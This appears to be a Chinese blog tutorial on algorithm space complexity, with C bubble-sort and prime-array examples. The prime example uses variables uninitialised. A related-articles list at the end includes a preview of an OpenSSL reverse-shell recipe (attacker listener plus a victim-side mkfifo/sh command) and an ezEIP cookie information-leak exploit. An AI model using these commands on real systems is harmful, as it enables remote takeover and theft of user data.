【数据结构】算法的空间复杂度
🦄个人主页:修修修也
🎏所属专栏:数据结构
⚙️操作环境:Visual Studio 2022

算法空间复杂度的定义
算法的时间复杂度和空间复杂度是度量算法好坏的两个重要量度,在实际写代码的过程中,我们完全可以用空间来换时间,比如说,我们要判断某某年是不是闰年,大家可能第一时间想到的都是写一个算法来判断每次输入的年份符不符合闰年的条件.但其实还有种方法是,我们可以事先建立一个有2050个元素的数组(年数比现实略多一点),然后把所有年份按下标数字对应,如果是闰年,此数组项的值设为1,否则设为0.这样,判断某年是否是闰年,就只需要查找一下对应数组项的值就可以了.这样求闰年的时间复杂度为O(1).既然空间复杂度这么好用,接下来我们就来一起学习它的基本内容吧.
上篇文章中我们一起探讨了算法的时间复杂度的相关知识,在这节我们将一起探讨算法的空间复杂度的相关知识.
先来看算法空间复杂度的定义:
算法的空间复杂度通过计算算法所需的存储空间实现,算法空间复杂度的计算公式记作:S(n)=O(f(n)).
其中,n为问题的规模,f(n)为语句关于n所占存储空间的函数.
通过上节对时间复杂度的分析可知,算法的时间复杂度不是用来计算程序具体耗时的,同样的,空间复杂度也不是用来计算程序实际占用的空间的.
空间复杂度是对一个算法在运行过程中临时占用存储空间大小的一个量度,同样反映的是一个趋势,我们用S(n)来定义.
空间复杂度计算规则基本跟时间复杂度类似,也使用大O渐近表示法.
注意:函数运行时所需要的栈空间(存储参数,局部变量,一些寄存器信息等)在编译期间已经确定好了,因此空间复杂度主要通过函数在运行时侯显示申请的额外空间来确定.
一般情况下,算法要占据的空间可以分为两部分:
- 算法本身要占据的空间,输入和输出,指令,常数,变量等.
- 算法要使用的辅助空间.
第一条大家应该很好理解,一个程序在机器上执行时,需要存储程序本身的指令,常数,变量和输入数据.
除此之外,还需要存储对数据操作的存储单元,对数据操作的存储单元即算法的辅助空间.
我们参照一个实际程序(冒泡排序函数)来理解一下这个概念:
//冒泡排序函数
void bubbleSort(int arr[], int n)
{for (int i = 0; i < n - 1; i++){for (int j = 0; j < n - i - 1; j++){if (arr[j] > arr[j + 1]){// 交换arr[j]和arr[j+1]int temp = arr[j]; //变量temp占据的空间就是辅助空间arr[j] = arr[j + 1];arr[j + 1] = temp;}}}
}
如上,在冒泡排序函数中,我们需要开辟一个整形变量temp,它占据4个字节,这4个字节的空间就是冒泡排序算法在运行过程中要使用的辅助空间.
至于其他的变量i,j或是数组arr,则都属于算法本身要占据的空间,即无论使不使用冒泡排序算法程序运行都要使用的空间.这部分空间不计入算法空间复杂度的度量.
常见的空间复杂度
📌常数阶
如果算法执行所需要的临时空间不随着某个变量n的大小而变化,即此算法空间复杂度为一个常量,可表示为O(1).
再拿上面的冒泡排序举例:
//冒泡排序函数
void bubbleSort(int arr[], int n)
{for (int i = 0; i < n - 1; i++){for (int j = 0; j < n - i - 1; j++){if (arr[j] > arr[j + 1]){// 交换arr[j]和arr[j+1]int temp = arr[j]; //变量temp每次进入if语句创建,出if语句销毁arr[j] = arr[j + 1];arr[j + 1] = temp;}}}
}
可以看到,算法在运行过程中,虽然会循环很多次交换arr[j]和arr[j+1]的操作,但在这过程中创建的变量temp每次都是进入if语句后被创建,出if语句后被销毁,因此即便创建temp的语句运行的次数随n的增大在不断变多,但其本质上用的都是同一块空间,不论n大小如何变化,temp占用的空间大小都不会变化,因此冒泡排序的空间复杂度为O(1).
📌线性阶
如果算法执行所需要的临时空间随着某个变量n的大小呈线性变化,即此算法空间复杂度为一个线性阶,可表示为O(n).
假设我们现在要求出从0开始的n个素数,将它们存储在数组arr中,代码如下:
int main()
{int i, j,k, flag;int n; int arr[n] = { 0 }; //仅作示例演示,正式编程时变量不能作为数组长度for (i = 0; k < n; i++){flag = 1;for (j = 2; j < i; j++){if (i % j == 0){flag = 0;break;}}if (flag == 1){arr[k] = i;k++;}}return 0;
}
在这个程序中我们就需要开辟长度为n的数组来存放我们求得的n个素数.显而易见,开辟的数组长度n是随着问题规模的n增长而增长的,且呈线性相关,因此该程序的空间复杂度为O(n).
常见的时间复杂度及其耗费空间排序
| 执行次数函数 | 阶 | 非正式术语 |
|---|---|---|
| 5201314 | O(1) | 常数阶 |
| 2n+3 | O(n) | 线性阶 |
| 3n^2+2n+1 | O(n^2) | 平方阶 |
| O(logn) | 对数阶 | |
| O(nlogn) | nlogn阶 | |
| 6n^3+2n^2+3n+4 | O(n^3) | 立方阶 |
| 2^n | O(2^n) | 指数阶 |
常用的空间复杂度所耗费的空间从小到大依次是:

结语
当我们搞清楚算法的空间复杂度后,数据结构算法篇的内容就结束了,接下来我们将开启数据结构新的章节——线性表,在新章节中我们将一起学习如何实现顺序表,单链表,双链表,循环链表等相关知识.希望这些内容能对大家有所帮助,一起学习,一起进步!
相关文章推荐
【数据结构】什么是数据结构?
【数据结构】什么是算法?
【数据结构】算法效率的度量方法
【数据结构】算法的时间复杂度
【C语言】冒泡排序
【数据结构】什么是线性表?
......

数据结构算法篇思维导图:

相关文章:
【数据结构】算法的空间复杂度
🦄个人主页:修修修也 🎏所属专栏:数据结构 ⚙️操作环境:Visual Studio 2022 算法空间复杂度的定义 算法的时间复杂度和空间复杂度是度量算法好坏的两个重要量度,在实际写代码的过程中,我们完全可以用空间来换时间,比如说,我们要判断某某年是不是闰年,大…...
恢复Windows 11经典右键菜单:一条命令解决显示更多选项问题
恢复Windows 11经典右键菜单:一条命令解决显示更多选项问题 恢复Windows 11经典右键菜单:一条命令解决显示更多选项问题为什么改变?恢复经典右键菜单 我是将军我一直都在,。! 恢复Windows 11经典右键菜单:一…...
Android:事件分发机制(二)
这篇主要是第一篇回顾之后,补充一些上一篇没写到的两个点。 第一个的切入点是这个。【处理层叠的view,想要执行下一层的view的点击事件】其背后的原理。 处理层叠的view,要执行下一层的view的点击事件 我们知道,方法是将上一层的…...
vue2时间处理插件——dayjs
在vue时间处理上有很多的方法和实现,可以自己实现,但是效率不高,所以,在框架开发中我们一般不会手写,一般是使用集成的第三方插件来解决我们的问题,在vue3中大家一般都使用Moment.js来处理,所以…...
软考 系统架构设计师系列知识点之软件质量属性(6)
接前一篇文章:软考 系统架构设计师系列知识点之软件质量属性(5) 所属章节: 第8章. 系统质量属性与架构评估 第2节. 面向架构评估的质量属性 相关试题 7. 某公司欲开发一个在线教育平台。在架构设计阶段,公司的架构师…...
Python6-wxPython库
Python6-wxPython库 1.wxPython库2.窗口程序2.1 简单的窗口程序2.2 自定义窗口类2.3 面板与静态文本2.4 事件处理 3.布局管理器3.1 盒子布局管理 4.控件4.1 文本输入框4.2 多选框与单选框4.3 列表控件4.4 静态图片 1.wxPython库 官方文档健全:https://docs.wxpytho…...
使用OpenSSL的反弹shell
1、攻击机生成证书: openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes2、攻击机开启服务 openssl s_server -quiet -key key.pem -cert cert.pem -port 803、靶机连接命令 mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1…...
竞赛选题 深度学习OCR中文识别 - opencv python
文章目录 0 前言1 课题背景2 实现效果3 文本区域检测网络-CTPN4 文本识别网络-CRNN5 最后 0 前言 🔥 优质竞赛项目系列,今天要分享的是 🚩 **基于深度学习OCR中文识别系统 ** 该项目较为新颖,适合作为竞赛课题方向,…...
ezEIP信息泄露
漏洞描述 ezEIP存在信息泄露漏洞,通过遍历Cookie中的参数值获取敏感信息 漏洞复现 漏洞Url为 /label/member/getinfo.aspx访问时添加Cookie(通过遍历获取用户的登录名电话邮箱等信息) WHIR_USERINFORwhir_mem_member_pid1;漏洞证明&…...
02.机器学习原理(复习)
目录 机器学习的本质机器学习的类型Regression/回归Classification/分类Structured Learning/结构化学习 ML的三板斧设定范围设定标准监督学习半监督学习其他 达成目标小结达成目标设定标准设定范围 部分截图来自原课程视频《2023李宏毅最新生成式AI教程》,B站自行搜…...
电源集成INN3270C-H215-TL、INN3278C-H114-TL、INN3278C-H215-TL简化了反激式电源转换器的设计和制造。
一、概述 InnoSwitch™3-CP系列IC极大地简化了反激式电源转换器的设计和制造,特别是那些需要高效率和/或紧凑尺寸的产品。InnoSwitch3-CP系列将初级和次级控制器以及安全额定反馈集成到单个IC中。 InnoSwitch3-CP系列器件集成了多种保护功能,包括线路过…...
UE4和C++ 开发--HUD类
HUD 平视显示器(Head Up Display),简称HUD。在蓝图中是指在屏幕上面绘制的二维物体。 1. 创建HUD 打开蓝图编辑器,创建一个蓝图类,搜索HUD,选择并命名BP_HUD。 2. 开始绘制 打开事件列表,右键搜索 EventReceive Draw HUD。有两…...
使用js怎么设置视频背景
要使用JavaScript设置网页的视频背景,你需要将视频元素添加到你的HTML文档中,然后使用JavaScript来控制它 首先,在你的HTML文件中添加一个 <video> 元素 <video id"video-background" autoplay muted loop><sourc…...
Gin,Gorm实现Web计算器
目录 仓库链接0.PSP表格1. 成品展示1.基础运算2. 清零回退3.错误提示4.历史记录拓展功能1.前端可修改的利率计算器2.科学计算器3. 按钮切换不同计算器模式4.用户在一次运算后不清零继续输入操作符,替换表达式为上次答案 2.设计实现过程3.代码说明4.心路历程和收获 仓…...
11-网络篇-DNS步骤
1.URL URL就是我们常说的网址 https://www.baidu.com/?from1086k https是协议 m.baidu.com是服务器域名 ?from1086k是路径 2.域名 比如https://www.baidu.com 顶级域名.com 二级域名baidu 三级域名www 3.域名解析DNS DNS就是将域名转换成IP的过程 根域名服务器:…...
设计师都应该知道的事:极简主义家具该怎么去用
这座房子有黑暗而沉重的特征,包括棕色和白色的马赛克浴室瓷砖,弯曲的锻铁壁灯和土黄色的威尼斯石膏墙。但由于房屋与他们的风格相去甚远,白色,干净和简约,接下来我们就着这个方向去帮助房主进行改造。 她解释说&#x…...
设计模式02———建造者模式 c#
首先我们打开一个项目 在这个初始界面我们需要做一些准备工作 建基础通用包 创建一个Plane 重置后 缩放100倍 加一个颜色 更换天空盒(个人喜好) 任务:使用【UI】点击生成6种车零件组装不同类型车 【建造者模式】 首先资源商店下载车模型 将C…...
2023最新接口自动化测试面试题
1、get和post的区别? l http是上层请求协议,主要定义了服务端和客户端的交互规格,底层都是tcp/ip协议 l Get会把参数附在url之后,用?分割,&连接不同参数,Get获取资源,post会把…...
GaN器件的工作原理
目录 AlGaN/GaNHEMT 器件工作原理(常开-耗尽型器件)常关 AlGaN/GaN 功率晶体管(增强型器件)HD-GIT与SP-HEMT AlGaN/GaNHEMT 器件工作原理(常开-耗尽型器件) 来源:毫米波GaN基功率器件及MMIC电路…...
点云从入门到精通技术详解100篇-海量三维点云的空间索引及可视化应用(续)
目录 3.2.3 方向八叉树与八叉树的比较 3.3 多级索引结构 3.3.1 多级索引结构的构建...
使用docker在3台服务器上搭建基于redis 6.x的一主两从三台均是哨兵模式
一、环境及版本说明 如果服务器已经安装了docker,则忽略此步骤,如果没有安装,则可以按照一下方式安装: 1. 在线安装(有互联网环境): 请看我这篇文章 传送阵>> 点我查看 2. 离线安装(内网环境):请看我这篇文章 传送阵>> 点我查看 说明:假设每台服务器已…...
接口测试中缓存处理策略
在接口测试中,缓存处理策略是一个关键环节,直接影响测试结果的准确性和可靠性。合理的缓存处理策略能够确保测试环境的一致性,避免因缓存数据导致的测试偏差。以下是接口测试中常见的缓存处理策略及其详细说明: 一、缓存处理的核…...
Flask RESTful 示例
目录 1. 环境准备2. 安装依赖3. 修改main.py4. 运行应用5. API使用示例获取所有任务获取单个任务创建新任务更新任务删除任务 中文乱码问题: 下面创建一个简单的Flask RESTful API示例。首先,我们需要创建环境,安装必要的依赖,然后…...
聊聊 Pulsar:Producer 源码解析
一、前言 Apache Pulsar 是一个企业级的开源分布式消息传递平台,以其高性能、可扩展性和存储计算分离架构在消息队列和流处理领域独树一帜。在 Pulsar 的核心架构中,Producer(生产者) 是连接客户端应用与消息队列的第一步。生产者…...
镜像里切换为普通用户
如果你登录远程虚拟机默认就是 root 用户,但你不希望用 root 权限运行 ns-3(这是对的,ns3 工具会拒绝 root),你可以按以下方法创建一个 非 root 用户账号 并切换到它运行 ns-3。 一次性解决方案:创建非 roo…...
论文浅尝 | 基于判别指令微调生成式大语言模型的知识图谱补全方法(ISWC2024)
笔记整理:刘治强,浙江大学硕士生,研究方向为知识图谱表示学习,大语言模型 论文链接:http://arxiv.org/abs/2407.16127 发表会议:ISWC 2024 1. 动机 传统的知识图谱补全(KGC)模型通过…...
Python如何给视频添加音频和字幕
在Python中,给视频添加音频和字幕可以使用电影文件处理库MoviePy和字幕处理库Subtitles。下面将详细介绍如何使用这些库来实现视频的音频和字幕添加,包括必要的代码示例和详细解释。 环境准备 在开始之前,需要安装以下Python库:…...
Python ROS2【机器人中间件框架】 简介
销量过万TEEIS德国护膝夏天用薄款 优惠券冠生园 百花蜂蜜428g 挤压瓶纯蜂蜜巨奇严选 鞋子除臭剂360ml 多芬身体磨砂膏280g健70%-75%酒精消毒棉片湿巾1418cm 80片/袋3袋大包清洁食品用消毒 优惠券AIMORNY52朵红玫瑰永生香皂花同城配送非鲜花七夕情人节生日礼物送女友 热卖妙洁棉…...
Java编程之桥接模式
定义 桥接模式(Bridge Pattern)属于结构型设计模式,它的核心意图是将抽象部分与实现部分分离,使它们可以独立地变化。这种模式通过组合关系来替代继承关系,从而降低了抽象和实现这两个可变维度之间的耦合度。 用例子…...
Webpack性能优化:构建速度与体积优化策略
一、构建速度优化 1、升级Webpack和Node.js 优化效果:Webpack 4比Webpack 3构建时间降低60%-98%。原因: V8引擎优化(for of替代forEach、Map/Set替代Object)。默认使用更快的md4哈希算法。AST直接从Loa…...
